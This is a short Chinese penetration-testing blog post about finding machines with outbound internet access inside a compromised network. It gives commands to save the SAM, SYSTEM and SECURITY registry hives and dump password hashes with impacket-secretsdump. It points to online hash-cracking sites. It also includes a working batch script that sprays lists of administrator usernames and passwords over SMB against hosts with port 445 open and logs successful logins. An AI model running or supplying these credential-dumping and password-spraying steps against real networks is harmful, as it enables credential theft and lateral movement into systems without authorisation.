内网渗透中寻找出网机器

洛米唯熊

发布于 2022-02-28 10:07:33

8420

发布于 2022-02-28 10:07:33

文章被收录于专栏：洛米唯熊洛米唯熊

0x00:前提

在webshell控制中,偶尔会遇到ipconfig查询IP中,里面的IP查询结果跟实际webshell的IP地址不同.

这种情况有可能是做了反向代理,或者其他情况.存在这种情况下,结合之前的文章获取一个shell.

例如:

那么就应该想方法让对方出网:

1、结合之前的文章进行出网

frp反向代理+MSF获取shell

2、读出本机密码,然后内网smb喷射,寻找内网能出网的机器,然后出网.

3、等等

0x01:过程

一、读出hash

reg save HKLM\SYSTEM sys.hiv
reg save HKLM\SAM sam.hiv
reg save hklm\security security.hiv

然后下载到本地

利用kali自带小工具进行读取hash

impacket-secretsdump -sam sam.hiv -system sys.hiv -security security.hiv LOCAL

在线hash破解

https://www.objectif-securite.ch/ophcrack
https://cmd5.com/

二、寻找内网开放smb机器

然后再把事先通过其它渠道搜集到的更多的管理账号密码写进去,越多越好

@echo off
set user=Administrador admin1 admin2
set pwd=central@1708 pass1 pass2
for /f %%i in (c:/users/public/host.txt) do (
for %%j in (%pwd%) do (
for %%k in (%user%) do (
net use \\%%i\c$ /user:"%%k" "%%j" > nul && ping 127.0.0.1 -n 2 > nul && if %errorlevel% equ 0 ( echo %%i %%k %%j Login Succeed && echo %%i %%k %%j 
Login Succeed >> c:\users\public\SmbCache.txt ) && ping 127.0.0.1 -n 2 > nul && net use \\%%i\c$ /del > nul && ping 127.0.0.1 -n 2 > nul
) ) )

host.txt存放存在开放445端口的IP清单